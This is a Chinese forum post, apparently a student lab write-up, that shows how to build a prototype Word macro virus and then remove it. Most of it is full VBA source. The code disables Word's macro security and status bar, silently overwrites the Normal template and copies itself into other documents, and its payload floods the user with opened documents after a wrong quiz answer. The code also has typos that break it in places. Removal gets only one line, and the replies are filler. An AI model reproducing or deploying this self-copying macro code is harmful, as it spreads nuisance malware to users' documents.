聚合Vip网络社区 集合 HK共享吧 合购VIP等精品教程

 找回密码
 立即注册

QQ登录

只需一步,快速开始

关闭
聚合Vip社区
欢迎QQ或来电咨询
工作时间:周一至周五
AM9:00-PM22:00
淘宝店铺 淘宝皇冠店铺
论坛邀请码
查看: 3910|回复: 416

[病毒分析区] 宏病毒雏形

  [复制链接]

1万

主题

14

听众

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情
    郁闷
    2014-12-12 09:43
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-5-7 17:37:25 |显示全部楼层

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    立即注册 已有账号?点击登录 或者 用QQ帐号登录

    x
    PS:这只是一个病毒雏形,由于涉及安全方面,并没有加入自动运行,自动感染代码段。

    1.  病毒制作
    2.  病毒清除
    实验步骤及数据记录:
    病毒制作:
    1.  关闭杀毒软件,打开word 2007。
    在word 2007界面中点击office ==》word 选项(I)==》在功能区显示“开发工具”选项卡(D)
    如图1:

    返回word界面,点击“开发工具”==》“宏安全性”,选择启动所有宏,如图2,3


         

    打开一个word文档,Alt+F11打开宏编辑器(开发工具Visual Basic),点击(工程
    project下面的project.microsoft word.thisdecument)thisdecument,,然后开始编写宏病毒代码。
    如下:
    'Document_Close
    Sub Document_Close()
    '***************************************************************************************
    '屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板

    '**************************************************************
    On Error Resume Next

    Application.DisplayStatusBar = False                                                  
    '屏蔽状态栏

    '**************************************************************
    Options.SaveNormalPrompt = False                                                      
    '修改公用模板时在后台自动保存,不给任何提示


    '**************************************************************
    Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)            
    '获取当前文档代码对象

    Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule                        
    '获取共用模板的代码对象

    '***************************************************************************************
    '获取当前文档对象代码和共用模板对象代码

    If ThisDocument = NormalTemplate Then '判断当前文件是否等于公用模板对象

    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule '如果是,则获取当前活动文
    档的代码对象

    End If
      
    '***************************************************************************************
    '设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
        With host
       
       
            If .Lines(1.1) <> "Document_Close()" Then                                          '判断当前文档是否感染病毒
            
            .deletelines 1, .countoflines                                                      '如果不是,就清除原来的代码
            
            .insertlines 1, .OurcodeLines                                                      '嵌入病毒代码
            
            .replaceline 2, "Sub Document_Close()"                                             '更换 Document_Close()
            
            
            If ThisDocument = NormalTemplate Then                                               '判断当前的文档是否等于公用模块
            
            .replaceline 2, "Sub Document_Open()"                                               '如果是,则替换为 Document_Open()
            ActiveDocument.SaveAs ActiveDpcument.FullName                                       '保存文档,并修改函数名
            
            End If
            
            
            End If
            
       
        End With
       
        MsgBox "Smallboy of Micro Virus by Content Security Lab"                                '弹出对话框
       
       
    End Sub
    然后保存,点击运行则弹出一个对话框,如图4:

    然后在建立一个公用宏模板。开发工具==》宏(alt+F8)输入一个宏模板名字点击“创建”。如图5:

    然后输入如下代码:
    'moonlight
    Dim nm(4)
    Sub Smallboy_Virus()
    '
    ' Smallboy_Virus 宏
    '
    '
    '***************************************************************************************
    '屏蔽状态栏,以免显示宏病毒执行状态;修改公用模版是自动保存且不提示;自动执行病毒模板
    On Error Resume Next

    Application.DisplayStatusBar = False                                                
    '屏蔽状态栏

    '***************************************************************************************
    Options.SaveNormalPrompt = False                                                      
    '修改公用模板时在后台自动保存,不给任何提示


    '***************************************************************************************
    Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)            
    '获取当前文档代码对象

    Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule                        
    '获取共用模板的代码对象

    '**************************************************************************************
    '获取当前文档对象代码和共用模板对象代码
    If ThisDocument = NormalTemplate Then                                                
    '判断当前文件是否等于公用模板对象

    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule                        
    '如果是,则获取当前活动文档的代码对象

    End If

    '************************************************************************************************
    '设立检查当前文档是否被感染,如果没有就自动执行复制宏病毒到模板并修改函数名操作
        With host
            If .Lines(1.1) <> "Smallboy_Virus()" Then                                      
    '判断当前文档是否感染病毒
            
            .deletelines 1, .countoflines                                                  
    '如果不是,就清除原来的代码
            .insertlines 1, .OurcodeLines                                                  
    '嵌入病毒代码
            .replaceline 2, "Sub Smallboy_Virus()"                                         
    '更换 Smallboy_Virus

            If ThisDocument = NormalTemplate Then                              
            '判断当前的文档是否等于公用模块
            
            .replaceline 2, "Sub Smallboy_Virus()"                              
    '如果是,则替换为 Smallboy_Virus
            ActiveDocument.SaveAs ActiveDpcument.FullName                           
           '保存文档,并修改函数名()
            
            End If
            
            End If
            
       
        End With

    '***************************************************************************************
    '********************************************************************弹出第一个框*******
    MsgBox "老乡您好!我来串门了。我谨代表党中央,国务院,中央军委,全国人民和习大大向你表示
    真诚的问候和衷心地祝愿!(^_^)! "

    '********************************************************************定义算数数据成员***
    Count = 0                                        '定义count=0

    try:                                             '执行try语句
    On Error GoTo 0
    On Error GoTo try
    test = -1                                        '初始化并定义text=-1
    con = 1                                          '初始化并定义con=1
    tog$ = ""                                        '初始化tog$
    i = 0                                            '初始化并定义i=0



    '开始执行算术数据成员的行循环语句********************************
    While test = -1                          
        '因为之前已经定义了test=-1,所以肯定会先执行一次while循环
            
             For i = 0 To 4                     
         '执行一个for循环
             
             
             nm(i) = Int(Rnd() * 100)           
         '将rnd()*100的正整数结果赋值给数组nm(i)
             con = con * nm(i)               
           '将con*nm(i)的值传回给con
             
             If i = 4 Then
    '如果i=4,也就是for循环结束之后,开始执行if下的语句
             
             tog$ = tog$ + Str$(nm(4)) + "=?"
            '将tog$和Str$( nm(4))+字符串"=?"的值都传给tog$
             GoTo beg                                '执行beg语句
             
             End If                                  '上一个if判断语句执行结束
             
             tog$ = tog$ + Str$(nm(i)) + "*"
             '将tog$和Str$( nm(4))+字符串"*"的值都传给tog$
             Next i                                  '返回for循环
             
    beg:
    '显示第二个对话框,进行答题判断
    Beep
    ans$ = InputBox("今天是" + Date$ + ",我们玩个心算游戏可好?" + Chr$(13) + "如果你答错了,
    我将代表月亮消灭你!" + Chr$(13) + tog$, "Smallboy")
    '显示心算题,和输入心算结果





    '*******************************输入运算结果后将要执行的语句'




                If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then            
    '判断ans$与con是否相等,这是是主要的if判断语句,是下面进行操作的主要依据


    '输入答案正确后将要执行的语句'*****************************************
         
         
         MsgBox "恭喜您答对了!我代表党中央,国务院,中央军委,全国人民和习大大向你表示热烈的
    祝贺!(^_^)!"
             
    '************设置文本格式,字体***************************************************
                   
                    'Documents.Add
                    Selection.Paragraphs.Alignment = wdAlignParagraphCenter  
    ' 设置居中对齐
                   
                    Beep
                    With Selection.Font                       
                   '设置文本字体
                   
                         .Name = "黑体"                  
                       '设置文本字体为黑体
                         .Size = 16               
                         '设置文本字体大小为16
                         .Bold = 1                          
                     '设置文本字体为粗体
                         .Underline = 1                     
                    '设置文本字体为下划线
                         .Color = wdColorRose               
                     '设置文本字体问玫瑰红色
                         
                    End With
                   
                    Selection.InsertAfter Text = "什么是宏病毒?"    '嵌入文本
                    Selection.InsertParagraphAfter                   '换行
                   
                    Beep
                    Selection.InsertAfter Text:="答案:"               '嵌入文本
                    Selection.Font.Italic = 1                          '设置文本字体为斜体
                    Selection.InsertAfter Text:="你妹啊,我不是!"     '嵌入文本
                    Selection.InsertParagraphAfter                     '换行
                    Selection.InsertParagraphAfter                     '换行
                    Selection.Font.Italic = 0                          '撤销文本为斜体
                                    
                    Beep
                    Selection.InsertAfter Text:="如何防御宏病毒"       '嵌入文本
                    Selection.InsertParagraphAfter                     '换行
                    Selection.InsertParagraphAfter                     '换行
                   
                    Beep
                    Selection.InsertAfter Text:="答案:"               '嵌入文本
                    Selection.Font.Italic = 1                          '设置文本字体为斜体
                    Selection.InsertAfter Text:="别看我,我不知道……" '嵌入文本
               
            MsgBox "按确定键,我将告诉你一个秘密……", "好吧,告诉你吧!我就是梧州学院Small
    boy_Virus!"               
                    GoTo out                                                 '退出goto语句
         
    '****输入答案不正确后将要执行的语句****************************************
                    Else                          '执行else语句,也就是回答错误后将要执行的
                        Count = Count + 1                       'count++,本来count初始化为0
                        For j = 1 To 20                         '执行循环语句,循环20次
                        
                        Beep
                        Documents.Add                           '增加一个现在这个文档
                        Next j
                    Selection.Paragraphs.Alignment = wdAlignParagraphCenter
    '设置文本格式为居中对齐
                    Selection.InsertAfter Text:="宏病毒"        '嵌入一个文本               
                    If Count = 2 Then GoTo out
    '判断是否执行打开该文本操作够2个20次,如果够了就退出goto语句
                    GoTo try  
                    WordBasic.filedefault  '退出WordBasic文本
                    End If
    Wend            '结束with语句
    out:            '退出
    End Sub         '退出Sub
        保存文本,按F5进行调试就会得出如图6结果:

        点击“确定”将会弹出让你算出一个算术题,然你算出结果,输入答案。如图7


    输入答案后点击“确定”,如果结果错误他将会弹出20个当前文本,如图8所示:


    然后继续让你解答另一个心算题,如果错了它再继续弹出20个当前文本,如图9:图10


    任务管理器瞬间爆表!然后一切归于平静(默默的挨个关闭文档窗口(T_T))
        当然,如果你答对了心算题之后,将会出现另一种现象,首先会弹出下面会话框,如图11:

        点击确定,将会弹出新的一个文本和一个对话框,文本上面有文字,如图12:

    点击确定,将弹出另一个对话框,如图13:

         点击之后就没有下文了。整个宏病毒雏形功能实现完毕。
    2.  病毒清除
    清除病毒很简单,打开word文档,然后在建立一个公用宏模板。开发工具==》宏(alt+F8)
    将相关的模块删除即可,如图14:



    上传的图像                             


    回复

    使用道具 举报

    12

    主题

    0

    听众

    450

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 17:37:32 |显示全部楼层
    把沙发带走。
    回复

    使用道具 举报

    19

    主题

    0

    听众

    566

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 17:37:44 |显示全部楼层
    介是神马?!!
    回复

    使用道具 举报

    15

    主题

    0

    听众

    702

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 17:37:44 |显示全部楼层
    好帖必须得顶起
    回复

    使用道具 举报

    14

    主题

    0

    听众

    595

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 17:38:52 |显示全部楼层
    打酱油的人拉,回复下赚取积分
    回复

    使用道具 举报

    20

    主题

    0

    听众

    433

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 18:03:06 |显示全部楼层
    秀起来~
    回复

    使用道具 举报

    10

    主题

    0

    听众

    436

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 18:19:55 |显示全部楼层
    打酱油的人拉,回复下赚取积分
    回复

    使用道具 举报

    11

    主题

    0

    听众

    464

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 18:28:17 |显示全部楼层
    支持你哈................
    回复

    使用道具 举报

    9

    主题

    0

    听众

    572

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 18:55:09 |显示全部楼层
    路过 帮顶 嘿嘿
    回复

    使用道具 举报

    8

    主题

    0

    听众

    564

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 18:58:32 |显示全部楼层
    鄙视楼下的顶帖没我快,哈哈
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    回帖奖励

    [详情]

  • * 每天自己主题被回复3次可获得额外2金钱奖励。
  • * 每天回复他人主题5次可获得额外3贡献的奖励。
  • * 奖励每天都可领取,一定要多参与论坛讨论哦。
  • * 同一主题的重复回复不计。
  • 手机版|Archiver|聚合Vip网络社区 ( 鲁ICP备14030129号-2 )Discuz超级管家   

    GMT+8, 2018-5-26 23:54 , Processed in 0.244809 second(s), 62 queries .

    Powered by Discuz! X2.5

    © 2001-2012 Comsenz Inc. Template by A3cn

    回顶部